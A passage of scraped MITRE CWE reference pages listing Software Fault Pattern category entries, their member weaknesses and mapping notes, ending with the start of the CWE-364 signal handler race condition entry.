HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.494Download of Code Without Integrity Check
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.622Improper Validation of Function Hook Arguments
HasMemberClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.673External Influence of Sphere Definition
+ Vulnerability Mapping Notes

Usage: PROHIBITED

(this CWE ID must not be used to map to real-world vulnerabilities)

Reason: Category

Rationale:

This entry is a Category. Using categories for mapping has been discouraged since 2019. Categories are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.

Comments:

See member weaknesses of this category.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2014-07-29
(CWE 2.8, 2014-07-31)
CWE Content TeamMITRE
+ Modifications
Modification DateModifierOrganization
2017-05-03CWE Content TeamMITRE
updated Relationships
2020-02-24CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Mapping_Notes
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE CATEGORY: SFP Secondary Cluster: Tainted Input to Variable

Category ID: 994
Vulnerability Mapping: PROHIBITEDThis CWE ID must not be used to map to real-world vulnerabilities
+ Summary
This category identifies Software Fault Patterns (SFPs) within the Tainted Input to Variable cluster (SFP25).
+ Membership
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.896SFP Primary Cluster: Tainted Input
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.15External Control of System or Configuration Setting
HasMemberClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.20Improper Input Validation
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.454External Initialization of Trusted Variables or Data Stores
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.496Public Data Assigned to Private Array-Typed Field
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.502Deserialization of Untrusted Data
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.566Authorization Bypass Through User-Controlled SQL Primary Key
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.606Unchecked Input for Loop Condition
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.616Incomplete Identification of Uploaded File Variables (PHP)
+ Vulnerability Mapping Notes

Usage: PROHIBITED

(this CWE ID must not be used to map to real-world vulnerabilities)

Reason: Category

Rationale:

This entry is a Category. Using categories for mapping has been discouraged since 2019. Categories are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.

Comments:

See member weaknesses of this category.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2014-07-29
(CWE 2.8, 2014-07-31)
CWE Content TeamMITRE
+ Modifications
Modification DateModifierOrganization
2020-02-24CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Mapping_Notes
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE CATEGORY: SFP Secondary Cluster: Unchecked Status Condition

Category ID: 962
Vulnerability Mapping: PROHIBITEDThis CWE ID must not be used to map to real-world vulnerabilities
+ Summary
This category identifies Software Fault Patterns (SFPs) within the Unchecked Status Condition cluster (SFP4).
+ Membership
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.889SFP Primary Cluster: Exception Management
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.248Uncaught Exception
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.252Unchecked Return Value
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.253Incorrect Check of Function Return Value
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.273Improper Check for Dropped Privileges
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.280Improper Handling of Insufficient Permissions or Privileges
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.372Incomplete Internal State Distinction
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.390Detection of Error Condition Without Action
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.391Unchecked Error Condition
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.394Unexpected Status Code or Return Value
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.395Use of NullPointerException Catch to Detect NULL Pointer Dereference
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.431Missing Handler
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.478Missing Default Case in Multiple Condition Expression
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.484Omitted Break Statement in Switch
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.600Uncaught Exception in Servlet
HasMemberClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.665Improper Initialization
HasMemberClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.754Improper Check for Unusual or Exceptional Conditions
HasMemberClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.755Improper Handling of Exceptional Conditions
+ Vulnerability Mapping Notes

Usage: PROHIBITED

(this CWE ID must not be used to map to real-world vulnerabilities)

Reason: Category

Rationale:

This entry is a Category. Using categories for mapping has been discouraged since 2019. Categories are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.

Comments:

See member weaknesses of this category.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2014-07-29
(CWE 2.8, 2014-07-31)
CWE Content TeamMITRE
+ Modifications
Modification DateModifierOrganization
2020-02-24CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Mapping_Notes
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE CATEGORY: SFP Secondary Cluster: Unexpected Entry Points

Category ID: 1002
Vulnerability Mapping: PROHIBITEDThis CWE ID must not be used to map to real-world vulnerabilities
+ Summary
This category identifies Software Fault Patterns (SFPs) within the Unexpected Entry Points cluster.
+ Membership
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.897SFP Primary Cluster: Entry Points
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.489Active Debug Code
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.491Public cloneable() Method Without Final ('Object Hijack')
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.493Critical Public Variable Without Final Modifier
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.500Public Static Field Not Marked Final
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.531Inclusion of Sensitive Information in Test Code
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.568finalize() Method Without super.finalize()
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.580clone() Method Without super.clone()
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.582Array Declared Public, Final, and Static
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.583finalize() Method Declared Public
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.608Struts: Non-private Field in ActionForm Class
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.766Critical Data Element Declared Public
+ Vulnerability Mapping Notes

Usage: PROHIBITED

(this CWE ID must not be used to map to real-world vulnerabilities)

Reason: Category

Rationale:

This entry is a Category. Using categories for mapping has been discouraged since 2019. Categories are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.

Comments:

See member weaknesses of this category.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2014-07-29
(CWE 2.8, 2014-07-31)
CWE Content TeamMITRE
+ Modifications
Modification DateModifierOrganization
2023-04-27CWE Content TeamMITRE
updated Mapping_Notes
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE CATEGORY: SFP Secondary Cluster: Unrestricted Authentication

Category ID: 955
Vulnerability Mapping: PROHIBITEDThis CWE ID must not be used to map to real-world vulnerabilities
+ Summary
This category identifies Software Fault Patterns (SFPs) within the Unrestricted Authentication cluster (SFP34).
+ Membership
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.898SFP Primary Cluster: Authentication
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.307Improper Restriction of Excessive Authentication Attempts
+ Vulnerability Mapping Notes

Usage: PROHIBITED

(this CWE ID must not be used to map to real-world vulnerabilities)

Reason: Category

Rationale:

This entry is a Category. Using categories for mapping has been discouraged since 2019. Categories are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.

Comments:

See member weaknesses of this category.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2014-07-29
(CWE 2.8, 2014-07-31)
CWE Content TeamMITRE
+ Modifications
Modification DateModifierOrganization
2020-02-24CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Mapping_Notes
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE CATEGORY: SFP Secondary Cluster: Unrestricted Consumption

Category ID: 985
Vulnerability Mapping: PROHIBITEDThis CWE ID must not be used to map to real-world vulnerabilities
+ Summary
This category identifies Software Fault Patterns (SFPs) within the Unrestricted Consumption cluster (SFP13).
+ Membership
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.892SFP Primary Cluster: Resource Management
HasMemberClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.400Uncontrolled Resource Consumption
HasMemberClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.674Uncontrolled Recursion
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.770Allocation of Resources Without Limits or Throttling
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.774Allocation of File Descriptors or Handles Without Limits or Throttling
+ Vulnerability Mapping Notes

Usage: PROHIBITED

(this CWE ID must not be used to map to real-world vulnerabilities)

Reason: Category

Rationale:

This entry is a Category. Using categories for mapping has been discouraged since 2019. Categories are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.

Comments:

See member weaknesses of this category.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2014-07-29
(CWE 2.8, 2014-07-31)
CWE Content TeamMITRE
+ Modifications
Modification DateModifierOrganization
2020-02-24CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Mapping_Notes
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE CATEGORY: SFP Secondary Cluster: Unrestricted Lock

Category ID: 989
Vulnerability Mapping: PROHIBITEDThis CWE ID must not be used to map to real-world vulnerabilities
+ Summary
This category identifies Software Fault Patterns (SFPs) within the Unrestricted Lock cluster (SFP22).
+ Membership
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.894SFP Primary Cluster: Synchronization
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.412Unrestricted Externally Accessible Lock
+ Vulnerability Mapping Notes

Usage: PROHIBITED

(this CWE ID must not be used to map to real-world vulnerabilities)

Reason: Category

Rationale:

This entry is a Category. Using categories for mapping has been discouraged since 2019. Categories are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.

Comments:

See member weaknesses of this category.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2014-07-29
(CWE 2.8, 2014-07-31)
CWE Content TeamMITRE
+ Modifications
Modification DateModifierOrganization
2020-02-24CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Mapping_Notes
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE CATEGORY: SFP Secondary Cluster: Use of an Improper API

Category ID: 1001
Vulnerability Mapping: PROHIBITEDThis CWE ID must not be used to map to real-world vulnerabilities
+ Summary
This category identifies Software Fault Patterns (SFPs) within the Use of an Improper API cluster (SFP3).
+ Membership
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.887SFP Primary Cluster: API
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.111Direct Use of Unsafe JNI
HasMemberCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.2277PK - API Abuse
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.242Use of Inherently Dangerous Function
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.245J2EE Bad Practices: Direct Management of Connections
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.246J2EE Bad Practices: Direct Use of Sockets
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.382J2EE Bad Practices: Use of System.exit()
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.383J2EE Bad Practices: Direct Use of Threads
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.432Dangerous Signal Handler not Disabled During Sensitive Operations
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.439Behavioral Change in New Version or Environment
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.440Expected Behavior Violation
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.474Use of Function with Inconsistent Implementations
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.477Use of Obsolete Function
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.479Signal Handler Use of a Non-reentrant Function
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.558Use of getlogin() in Multithreaded Application
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.572Call to Thread run() instead of start()
HasMemberClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.573Improper Following of Specification by Caller
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.574EJB Bad Practices: Use of Synchronization Primitives
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.575EJB Bad Practices: Use of AWT Swing
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.576EJB Bad Practices: Use of Java I/O
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.577EJB Bad Practices: Use of Sockets
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.578EJB Bad Practices: Use of Class Loader
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.586Explicit Call to Finalize()
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.589Call to Non-ubiquitous API
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.617Reachable Assertion
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.676Use of Potentially Dangerous Function
HasMemberClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.684Incorrect Provision of Specified Functionality
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.695Use of Low-Level Functionality
HasMemberClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.758Reliance on Undefined, Unspecified, or Implementation-Defined Behavior
+ Vulnerability Mapping Notes

Usage: PROHIBITED

(this CWE ID must not be used to map to real-world vulnerabilities)

Reason: Category

Rationale:

This entry is a Category. Using categories for mapping has been discouraged since 2019. Categories are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.

Comments:

See member weaknesses of this category.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2014-07-29
(CWE 2.8, 2014-07-31)
CWE Content TeamMITRE
+ Modifications
Modification DateModifierOrganization
2020-02-24CWE Content TeamMITRE
updated Description
2023-04-27CWE Content TeamMITRE
updated Mapping_Notes
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE CATEGORY: SFP Secondary Cluster: Weak Cryptography

Category ID: 959
Vulnerability Mapping: PROHIBITEDThis CWE ID must not be used to map to real-world vulnerabilities
+ Summary
This category identifies Software Fault Patterns (SFPs) within the Weak Cryptography cluster.
+ Membership
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.903SFP Primary Cluster: Cryptography
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.261Weak Encoding for Password
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.322Key Exchange without Entity Authentication
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.323Reusing a Nonce, Key Pair in Encryption
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.324Use of a Key Past its Expiration Date
HasMemberClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.326Inadequate Encryption Strength
HasMemberVariantVariant - a weakness that is linked to a certain type of product, typically involving a specific language or technology. More specific than a Base weakness. Variant level weaknesses typically describe issues in terms of 3 to 5 of the following dimensions: behavior, property, technology, language, and resource.329Generation of Predictable IV with CBC Mode
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.347Improper Verification of Cryptographic Signature
HasMemberBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.640Weak Password Recovery Mechanism for Forgotten Password
+ Vulnerability Mapping Notes

Usage: PROHIBITED

(this CWE ID must not be used to map to real-world vulnerabilities)

Reason: Category

Rationale:

This entry is a Category. Using categories for mapping has been discouraged since 2019. Categories are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.

Comments:

See member weaknesses of this category.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2014-07-29
(CWE 2.8, 2014-07-31)
CWE Content TeamMITRE
+ Modifications
Modification DateModifierOrganization
2023-04-27CWE Content TeamMITRE
updated Mapping_Notes
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE-364: Signal Handler Race Condition

Weakness ID: 364
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
The product uses a signal handler that introduces a race condition.
+ Extended Description

Race conditions frequently occur in signal handlers, since signal handlers support asynchronous actions. These race conditions have a variety of root causes and symptoms. Attackers may be able to exploit a signal handler race condition to cause the product state to be corrupted, possibly leading to a denial of service or even code execution.

